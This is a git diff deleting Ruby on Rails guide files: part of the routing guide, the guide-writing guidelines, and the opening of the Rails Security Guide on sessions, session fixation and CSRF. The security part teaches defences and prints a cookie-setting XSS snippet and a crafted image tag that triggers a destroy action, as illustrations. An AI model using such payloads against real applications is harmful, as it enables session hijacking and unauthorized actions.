-match ':controller(/:action(/:id))', :controller => /admin\/[^\/]+/
-</ruby>
-
-TIP: By default dynamic segments don't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment add a constraint which overrides this - for example +:id+ => /[^\/]+/ allows anything except a slash.
-
-h4. Static Segments
-
-You can specify static segments when creating a route:
-
-<ruby>
-match ':controller/:action/:id/with_user/:user_id'
-</ruby>
-
-This route would respond to paths such as +/photos/show/1/with_user/2+. In this case, +params+ would be <tt>{ :controller => "photos", :action => "show", :id => "1", :user_id => "2" }</tt>.
-
-h4. The Query String
-
-The +params+ will also include any parameters from the query string. For example, with this route:
-
-<ruby>
-match ':controller/:action/:id'
-</ruby>
-
-An incoming path of +/photos/show/1?user_id=2+ will be dispatched to the +show+ action of the +Photos+ controller. +params+ will be <tt>{ :controller => "photos", :action => "show", :id => "1", :user_id => "2" }</tt>.
-
-h4. Defining Defaults
-
-You do not need to explicitly use the +:controller+ and +:action+ symbols within a route. You can supply them as defaults:
-
-<ruby>
-match 'photos/:id' => 'photos#show'
-</ruby>
-
-With this route, Rails will match an incoming path of +/photos/12+ to the +show+ action of +PhotosController+.
-
-You can also define other defaults in a route by supplying a hash for the +:defaults+ option. This even applies to parameters that you do not specify as dynamic segments. For example:
-
-<ruby>
-match 'photos/:id' => 'photos#show', :defaults => { :format => 'jpg' }
-</ruby>
-
-Rails would match +photos/12+ to the +show+ action of +PhotosController+, and set +params[:format]+ to +"jpg"+.
-
-h4. Naming Routes
-
-You can specify a name for any route using the +:as+ option.
-
-<ruby>
-match 'exit' => 'sessions#destroy', :as => :logout
-</ruby>
-
-This will create +logout_path+ and +logout_url+ as named helpers in your application. Calling +logout_path+ will return +/exit+
-
-h4. HTTP Verb Constraints
-
-You can use the +:via+ option to constrain the request to one or more HTTP methods:
-
-<ruby>
-match 'photos/show' => 'photos#show', :via => :get
-</ruby>
-
-There is a shorthand version of this as well:
-
-<ruby>
-get 'photos/show'
-</ruby>
-
-You can also permit more than one verb to a single route:
-
-<ruby>
-match 'photos/show' => 'photos#show', :via => [:get, :post]
-</ruby>
-
-h4. Segment Constraints
-
-You can use the +:constraints+ option to enforce a format for a dynamic segment:
-
-<ruby>
-match 'photos/:id' => 'photos#show', :constraints => { :id => /[A-Z]\d{5}/ }
-</ruby>
-
-This route would match paths such as +/photos/A12345+. You can more succinctly express the same route this way:
-
-<ruby>
-match 'photos/:id' => 'photos#show', :id => /[A-Z]\d{5}/
-</ruby>
-
-+:constraints+ takes regular expressions with the restriction that regexp anchors can't be used. For example, the following route will not work:
-
-<ruby>
-match '/:id' => 'posts#show', :constraints => {:id => /^\d/}
-</ruby>
-
-However, note that you don't need to use anchors because all routes are anchored at the start.
-
-For example, the following routes would allow for +posts+ with +to_param+ values like +1-hello-world+ that always begin with a number and +users+ with +to_param+ values like +david+ that never begin with a number to share the root namespace:
-
-<ruby>
-match '/:id' => 'posts#show', :constraints => { :id => /\d.+/ }
-match '/:username' => 'users#show'
-</ruby>
-
-h4. Request-Based Constraints
-
-You can also constrain a route based on any method on the <a href="action_controller_overview.html#the-request-object">Request</a> object that returns a +String+.
-
-You specify a request-based constraint the same way that you specify a segment constraint:
-
-<ruby>
-match "photos", :constraints => {:subdomain => "admin"}
-</ruby>
-
-You can also specify constraints in a block form:
-
-<ruby>
-namespace :admin do
- constraints :subdomain => "admin" do
- resources :photos
- end
-end
-</ruby>
-
-h4. Advanced Constraints
-
-If you have a more advanced constraint, you can provide an object that responds to +matches?+ that Rails should use. Let's say you wanted to route all users on a blacklist to the +BlacklistController+. You could do:
-
-<ruby>
-class BlacklistConstraint
- def initialize
- @ips = Blacklist.retrieve_ips
- end
-
- def matches?(request)
- @ips.include?(request.remote_ip)
- end
-end
-
-TwitterClone::Application.routes.draw do
- match "*path" => "blacklist#index",
- :constraints => BlacklistConstraint.new
-end
-</ruby>
-
-h4. Route Globbing
-
-Route globbing is a way to specify that a particular parameter should be matched to all the remaining parts of a route. For example
-
-<ruby>
-match 'photos/*other' => 'photos#unknown'
-</ruby>
-
-This route would match +photos/12+ or +/photos/long/path/to/12+, setting +params[:other]+ to +"12"+ or +"long/path/to/12"+.
-
-Wildcard segments can occur anywhere in a route. For example,
-
-<ruby>
-match 'books/*section/:title' => 'books#show'
-</ruby>
-
-would match +books/some/section/last-words-a-memoir+ with +params[:section]+ equals +"some/section"+, and +params[:title]+ equals +"last-words-a-memoir"+.
-
-Technically a route can have even more than one wildcard segment. The matcher assigns segments to parameters in an intuitive way. For example,
-
-<ruby>
-match '*a/foo/*b' => 'test#index'
-</ruby>
-
-would match +zoo/woo/foo/bar/baz+ with +params[:a]+ equals +"zoo/woo"+, and +params[:b]+ equals +"bar/baz"+.
-
-NOTE: Starting from Rails 3.1, wildcard routes will always match the optional format segment by default. For example if you have this route:
-
-<ruby>
-match '*pages' => 'pages#show'
-</ruby>
-
-NOTE: By requesting +"/foo/bar.json"+, your +params[:pages]+ will be equals to +"foo/bar"+ with the request format of JSON. If you want the old 3.0.x behavior back, you could supply +:format => false+ like this:
-
-<ruby>
-match '*pages' => 'pages#show', :format => false
-</ruby>
-
-NOTE: If you want to make the format segment mandatory, so it cannot be omitted, you can supply +:format => true+ like this:
-
-<ruby>
-match '*pages' => 'pages#show', :format => true
-</ruby>
-
-h4. Redirection
-
-You can redirect any path to another path using the +redirect+ helper in your router:
-
-<ruby>
-match "/stories" => redirect("/posts")
-</ruby>
-
-You can also reuse dynamic segments from the match in the path to redirect to:
-
-<ruby>
-match "/stories/:name" => redirect("/posts/%{name}")
-</ruby>
-
-You can also provide a block to redirect, which receives the params and (optionally) the request object:
-
-<ruby>
-match "/stories/:name" => redirect {|params| "/posts/#{params[:name].pluralize}" }
-match "/stories" => redirect {|p, req| "/posts/#{req.subdomain}" }
-</ruby>
-
-Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible.
-
-In all of these cases, if you don't provide the leading host (+http://www.example.com+), Rails will take those details from the current request.
-
-h4. Routing to Rack Applications
-
-Instead of a String, like +"posts#index"+, which corresponds to the +index+ action in the +PostsController+, you can specify any <a href="rails_on_rack.html">Rack application</a> as the endpoint for a matcher.
-
-<ruby>
-match "/application.js" => Sprockets
-</ruby>
-
-As long as +Sprockets+ responds to +call+ and returns a <tt>[status, headers, body]</tt>, the router won't know the difference between the Rack application and an action.
-
-NOTE: For the curious, +"posts#index"+ actually expands out to +PostsController.action(:index)+, which returns a valid Rack application.
-
-h4. Using +root+
-
-You can specify what Rails should route +"/"+ to with the +root+ method:
-
-<ruby>
-root :to => 'pages#main'
-</ruby>
-
-You should put the +root+ route at the end of the file. You also need to delete the +public/index.html+ file for the root route to take effect.
-
-h3. Customizing Resourceful Routes
-
-While the default routes and helpers generated by +resources :posts+ will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers.
-
-h4. Specifying a Controller to Use
-
-The +:controller+ option lets you explicitly specify a controller to use for the resource. For example:
-
-<ruby>
-resources :photos, :controller => "images"
-</ruby>
-
-will recognize incoming paths beginning with +/photos+ but route to the +Images+ controller:
-
-|_.HTTP Verb |_.Path |_.action |_.named helper |
-|GET |/photos |index | photos_path |
-|GET |/photos/new |new | new_photo_path |
-|POST |/photos |create | photos_path |
-|GET |/photos/:id |show | photo_path(:id) |
-|GET |/photos/:id/edit |edit | edit_photo_path(:id) |
-|PUT |/photos/:id |update | photo_path(:id) |
-|DELETE |/photos/:id |destroy | photo_path(:id) |
-
-NOTE: Use +photos_path+, +new_photo_path+, etc. to generate paths for this resource.
-
-h4. Specifying Constraints
-
-You can use the +:constraints+ option to specify a required format on the implicit +id+. For example:
-
-<ruby>
-resources :photos, :constraints => {:id => /[A-Z][A-Z][0-9]+/}
-</ruby>
-
-This declaration constraints the +:id+ parameter to match the supplied regular expression. So, in this case, the router would no longer match +/photos/1+ to this route. Instead, +/photos/RR27+ would match.
-
-You can specify a single constraint to apply to a number of routes by using the block form:
-
-<ruby>
-constraints(:id => /[A-Z][A-Z][0-9]+/) do
- resources :photos
- resources :accounts
-end
-</ruby>
-
-NOTE: Of course, you can use the more advanced constraints available in non-resourceful routes in this context.
-
-TIP: By default the +:id+ parameter doesn't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within an +:id+ add a constraint which overrides this - for example +:id+ => /[^\/]+/ allows anything except a slash.
-
-h4. Overriding the Named Helpers
-
-The +:as+ option lets you override the normal naming for the named route helpers. For example:
-
-<ruby>
-resources :photos, :as => "images"
-</ruby>
-
-will recognize incoming paths beginning with +/photos+ and route the requests to +PhotosController+, but use the value of the :as option to name the helpers.
-
-|_.HTTP verb|_.Path |_.action |_.named helper |
-|GET |/photos |index | images_path |
-|GET |/photos/new |new | new_image_path |
-|POST |/photos |create | images_path |
-|GET |/photos/:id |show | image_path(:id) |
-|GET |/photos/:id/edit |edit | edit_image_path(:id) |
-|PUT |/photos/:id |update | image_path(:id) |
-|DELETE |/photos/:id |destroy | image_path(:id) |
-
-h4. Overriding the +new+ and +edit+ Segments
-
-The +:path_names+ option lets you override the automatically-generated "new" and "edit" segments in paths:
-
-<ruby>
-resources :photos, :path_names => { :new => 'make', :edit => 'change' }
-</ruby>
-
-This would cause the routing to recognize paths such as
-
-<plain>
-/photos/make
-/photos/1/change
-</plain>
-
-NOTE: The actual action names aren't changed by this option. The two paths shown would still route to the +new+ and +edit+ actions.
-
-TIP: If you find yourself wanting to change this option uniformly for all of your routes, you can use a scope.
-
-<ruby>
-scope :path_names => { :new => "make" } do
- # rest of your routes
-end
-</ruby>
-
-h4. Prefixing the Named Route Helpers
-
-You can use the +:as+ option to prefix the named route helpers that Rails generates for a route. Use this option to prevent name collisions between routes using a path scope.
-
-<ruby>
-scope "admin" do
- resources :photos, :as => "admin_photos"
-end
-
-resources :photos
-</ruby>
-
-This will provide route helpers such as +admin_photos_path+, +new_admin_photo_path+ etc.
-
-To prefix a group of route helpers, use +:as+ with +scope+:
-
-<ruby>
-scope "admin", :as => "admin" do
- resources :photos, :accounts
-end
-
-resources :photos, :accounts
-</ruby>
-
-This will generate routes such as +admin_photos_path+ and +admin_accounts_path+ which map to +/admin/photos+ and +/admin/accounts+ respectively.
-
-NOTE: The +namespace+ scope will automatically add +:as+ as well as +:module+ and +:path+ prefixes.
-
-You can prefix routes with a named parameter also:
-
-<ruby>
-scope ":username" do
- resources :posts
-end
-</ruby>
-
-This will provide you with URLs such as +/bob/posts/1+ and will allow you to reference the +username+ part of the path as +params[:username]+ in controllers, helpers and views.
-
-h4. Restricting the Routes Created
-
-By default, Rails creates routes for the seven default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the +:only+ and +:except+ options to fine-tune this behavior. The +:only+ option tells Rails to create only the specified routes:
-
-<ruby>
-resources :photos, :only => [:index, :show]
-</ruby>
-
-Now, a +GET+ request to +/photos+ would succeed, but a +POST+ request to +/photos+ (which would ordinarily be routed to the +create+ action) will fail.
-
-The +:except+ option specifies a route or list of routes that Rails should _not_ create:
-
-<ruby>
-resources :photos, :except => :destroy
-</ruby>
-
-In this case, Rails will create all of the normal routes except the route for +destroy+ (a +DELETE+ request to +/photos/:id+).
-
-TIP: If your application has many RESTful routes, using +:only+ and +:except+ to generate only the routes that you actually need can cut down on memory use and speed up the routing process.
-
-h4. Translated Paths
-
-Using +scope+, we can alter path names generated by resources:
-
-<ruby>
-scope(:path_names => { :new => "neu", :edit => "bearbeiten" }) do
- resources :categories, :path => "kategorien"
-end
-</ruby>
-
-Rails now creates routes to the +CategoriesController+.
-
-|_.HTTP verb|_.Path |_.action |_.named helper |
-|GET |/kategorien |index | categories_path |
-|GET |/kategorien/neu |new | new_category_path |
-|POST |/kategorien |create | categories_path |
-|GET |/kategorien/:id |show | category_path(:id) |
-|GET |/kategorien/:id/bearbeiten |edit | edit_category_path(:id) |
-|PUT |/kategorien/:id |update | category_path(:id) |
-|DELETE |/kategorien/:id |destroy | category_path(:id) |
-
-h4. Overriding the Singular Form
-
-If you want to define the singular form of a resource, you should add additional rules to the +Inflector+.
-
-<ruby>
-ActiveSupport::Inflector.inflections do |inflect|
- inflect.irregular 'tooth', 'teeth'
-end
-</ruby>
-
-h4(#nested-names). Using +:as+ in Nested Resources
-
-The +:as+ option overrides the automatically-generated name for the resource in nested route helpers. For example,
-
-<ruby>
-resources :magazines do
- resources :ads, :as => 'periodical_ads'
-end
-</ruby>
-
-This will create routing helpers such as +magazine_periodical_ads_url+ and +edit_magazine_periodical_ad_path+.
-
-h3. Inspecting and Testing Routes
-
-Rails offers facilities for inspecting and testing your routes.
-
-h4. Seeing Existing Routes with +rake+
-
-If you want a complete list of all of the available routes in your application, run +rake routes+ command. This will print all of your routes, in the same order that they appear in +routes.rb+. For each route, you'll see:
-
-* The route name (if any)
-* The HTTP verb used (if the route doesn't respond to all verbs)
-* The URL pattern to match
-* The routing parameters for the route
-
-For example, here's a small section of the +rake routes+ output for a RESTful route:
-
-<pre>
- users GET /users(.:format) users#index
- POST /users(.:format) users#create
- new_user GET /users/new(.:format) users#new
-edit_user GET /users/:id/edit(.:format) users#edit
-</pre>
-
-You may restrict the listing to the routes that map to a particular controller setting the +CONTROLLER+ environment variable:
-
-<shell>
-$ CONTROLLER=users rake routes
-</shell>
-
-TIP: You'll find that the output from +rake routes+ is much more readable if you widen your terminal window until the output lines don't wrap.
-
-h4. Testing Routes
-
-Routes should be included in your testing strategy (just like the rest of your application). Rails offers three "built-in assertions":http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html designed to make testing routes simpler:
-
-* +assert_generates+
-* +assert_recognizes+
-* +assert_routing+
-
-h5. The +assert_generates+ Assertion
-
-+assert_generates+ asserts that a particular set of options generate a particular path and can be used with default routes or custom routes.
-
-<ruby>
-assert_generates "/photos/1", { :controller => "photos", :action => "show", :id => "1" }
-assert_generates "/about", :controller => "pages", :action => "about"
-</ruby>
-
-h5. The +assert_recognizes+ Assertion
-
-+assert_recognizes+ is the inverse of +assert_generates+. It asserts that a given path is recognized and routes it to a particular spot in your application.
-
-<ruby>
-assert_recognizes({ :controller => "photos", :action => "show", :id => "1" }, "/photos/1")
-</ruby>
-
-You can supply a +:method+ argument to specify the HTTP verb:
-
-<ruby>
-assert_recognizes({ :controller => "photos", :action => "create" }, { :path => "photos", :method => :post })
-</ruby>
-
-h5. The +assert_routing+ Assertion
-
-The +assert_routing+ assertion checks the route both ways: it tests that the path generates the options, and that the options generate the path. Thus, it combines the functions of +assert_generates+ and +assert_recognizes+.
-
-<ruby>
-assert_routing({ :path => "photos", :method => :post }, { :controller => "photos", :action => "create" })
-</ruby>
diff --git a/railties/guides/source/ruby_on_rails_guides_guidelines.textile b/railties/guides/source/ruby_on_rails_guides_guidelines.textile
deleted file mode 100644
index 29aefd25f8..0000000000
--- a/railties/guides/source/ruby_on_rails_guides_guidelines.textile
+++ /dev/null
@@ -1,79 +0,0 @@
-h2. Ruby on Rails Guides Guidelines
-
-This guide documents guidelines for writing guides. This guide follows itself in a gracile loop.
-
-endprologue.
-
-h3. Textile
-
-Guides are written in "Textile":http://www.textism.com/tools/textile/. There's comprehensive documentation "here":http://redcloth.org/hobix.com/textile/ and a cheatsheet for markup "here":http://redcloth.org/hobix.com/textile/quick.html.
-
-h3. Prologue
-
-Each guide should start with motivational text at the top (that's the little introduction in the blue area.) The prologue should tell the reader what the guide is about, and what they will learn. See for example the "Routing Guide":routing.html.
-
-h3. Titles
-
-The title of every guide uses +h2+, guide sections use +h3+, subsections +h4+, etc.
-
-Capitalize all words except for internal articles, prepositions, conjunctions, and forms of the verb to be:
-
-<plain>
-h5. Middleware Stack is an Array
-h5. When are Objects Saved?
-</plain>
-
-Use the same typography as in regular text:
-
-<plain>
-h6. The <tt>:content_type</tt> Option
-</plain>
-
-h3. API Documentation Guidelines
-
-The guides and the API should be coherent where appropriate. Please have a look at these particular sections of the "API Documentation Guidelines":api_documentation_guidelines.html:
-
-* "Wording":api_documentation_guidelines.html#wording
-* "Example Code":api_documentation_guidelines.html#example-code
-* "Filenames":api_documentation_guidelines.html#filenames
-* "Fonts":api_documentation_guidelines.html#fonts
-
-Those guidelines apply also to guides.
-
-h3. HTML Generation
-
-To generate all the guides, just +cd+ into the +railties+ directory and execute:
-
-<plain>
-bundle exec rake generate_guides
-</plain>
-
-(You may need to run +bundle install+ first to install the required gems.)
-
-To process +my_guide.textile+ and nothing else use the +ONLY+ environment variable:
-
-<plain>
-bundle exec rake generate_guides ONLY=my_guide
-</plain>
-
-By default, guides that have not been modified are not processed, so +ONLY+ is rarely needed in practice.
-
-To force process of all the guides, pass +ALL=1+.
-
-It is also recommended that you work with +WARNINGS=1+. This detects duplicate IDs and warns about broken internal links.
-
-If you want to generate guides in languages other than English, you can keep them in a separate directory under +source+ (eg. <tt>source/es</tt>) and use the +GUIDES_LANGUAGE+ environment variable:
-
-<plain>
-bundle exec rake generate_guides GUIDES_LANGUAGE=es
-</plain>
-
-h3. HTML Validation
-
-Please validate the generated HTML with:
-
-<plain>
-bundle exec rake validate_guides
-</plain>
-
-Particularly, titles get an ID generated from their content and this often leads to duplicates. Please set +WARNINGS=1+ when generating guides to detect them. The warning messages suggest a way to fix them.
diff --git a/railties/guides/source/security.textile b/railties/guides/source/security.textile
deleted file mode 100644
index 8837e06de5..0000000000
--- a/railties/guides/source/security.textile
+++ /dev/null
@@ -1,1004 +0,0 @@
-h2. Ruby On Rails Security Guide
-
-This manual describes common security problems in web applications and how to avoid them with Rails. If you have any questions or suggestions, please
-mail me, Heiko Webers, at 42 {_et_} rorsecurity.info. After reading it, you should be familiar with:
-
-* All countermeasures _(highlight)that are highlighted_
-* The concept of sessions in Rails, what to put in there and popular attack methods
-* How just visiting a site can be a security problem (with CSRF)
-* What you have to pay attention to when working with files or providing an administration interface
-* The Rails-specific mass assignment problem
-* How to manage users: Logging in and out and attack methods on all layers
-* And the most popular injection attack methods
-
-endprologue.
-
-h3. Introduction
-
-Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security.
-
-In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).
-
-The Gartner Group however estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.
-
-The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.
-
-In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that's how you find the nasty logical security problems.
-
-h3. Sessions
-
-A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.
-
-h4. What are Sessions?
-
--- _HTTP is a stateless protocol. Sessions make it stateful._
-
-Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
-Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.
-
-A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:
-
-<ruby>
-session[:user_id] = @current_user.id
-User.find(session[:user_id])
-</ruby>
-
-h4. Session id
-
--- _The session id is a 32 byte long MD5 hash value._
-
-A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.
-
-h4. Session Hijacking
-
--- _Stealing a user's session id lets an attacker use the web application in the victim's name._
-
-Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.
-
-Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
-
-* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _(highlight)provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
-
-<ruby>
-config.force_ssl = true
-</ruby>
-
-* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _(highlight)log-out button_ in the web application, and _(highlight)make it prominent_.
-
-* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.
-
-* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
-
-The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10–$1000 (depending on the available amount of funds), $0.40–$20 for credit card numbers, $1–$8 for online auction site accounts and $4–$30 for email passwords, according to the "Symantec Global Internet Security Threat Report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf.
-
-h4. Session Guidelines
-
--- _Here are some general guidelines on sessions._
-
-* _(highlight)Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
-This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
-
-* _(highlight)Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
-
-h4. Session Storage
-
--- _Rails provides several storage mechanisms for the session hashes. The most important are SessionStore and CookieStore._
-
-There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose SessionStore (or one of its derivatives) over file storage due to performance and maintenance reasons. SessionStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.
-
-Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:
-
-* Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _(highlight)Storing the current user's database id in a session is usually ok_.
-
-* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _(highlight)you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
-
-That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _(highlight)don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb:
-
-<ruby>
-config.action_dispatch.session = {
- :key => '_app_session',
- :secret => '0x0dkfj3927dkc7djdh36rkckdfzsg...'
-}
-</ruby>
-
-There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.
-
-h4. Replay Attacks for CookieStore Sessions
-
--- _Another sort of attack you have to be aware of when using CookieStore is the replay attack._
-
-It works like this:
-
-* A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
-* The user buys something.
-* His new, lower credit will be stored in the session.
-* The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
-* The user has his credit back.
-
-Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
-
-The best _(highlight)solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session.
-
-h4. Session Fixation
-
--- _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._
-
-!images/session_fixation.png(Session fixation)!
-
-This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
-
-# The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
-# He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
-# Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: +&lt;script&gt;
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
&lt;/script&gt;+. Read more about XSS and injection later on.
-# The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
-# As the new trap session is unused, the web application will require the user to authenticate.
-# From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
-
-h4. Session Fixation – Countermeasures
-
--- _One line of code will protect you from session fixation._
-
-The most effective countermeasure is to _(highlight)issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
-
-<ruby>
-reset_session
-</ruby>
-
-If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _(highlight)you have to transfer them to the new session_.
-
-Another countermeasure is to _(highlight)save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _(highlight)These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way.
-
-h4. Session Expiry
-
--- _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
-
-One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _(highlight)expire sessions in a database table_. Call +Session.sweep("20 minutes")+ to expire sessions that were used longer than 20 minutes ago.
-
-<ruby>
-class Session < ActiveRecord::Base
- def self.sweep(time = 1.hour)
- if time.is_a?(String)
- time = time.split.inject { |count, unit| count.to_i.send(unit) }
- end
-
- delete_all "updated_at < '#{time.ago.to_s(:db)}'"
- end
-end
-</ruby>
-
-The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
-
-<ruby>
-delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
- created_at < '#{2.days.ago.to_s(:db)}'"
-</ruby>
-
-h3. Cross-Site Request Forgery (CSRF)
-
--- _This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands._
-
-!images/csrf.png!
-
-In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
-
-* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
-* +&lt;img src="http://www.webapp.com/project/1/destroy"&gt;+
-* Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
-* By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
-* The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
-* Bob doesn't notice the attack -- but a few days later he finds out that project number one is gone.
-
-It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.
-
-CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _(highlight)CSRF is an important security issue_.
-
-h4. CSRF Countermeasures
-
--- _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._
-
-The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:
-
-*Use GET if:*
-
-* The interaction is more _(highlight)like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup).
-
-*Use POST if:*
-
-* The interaction is more _(highlight)like an order_, or
-* The interaction _(highlight)changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or
-* The user is _(highlight)held accountable for the results_ of the interaction.
-
-If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier.
-
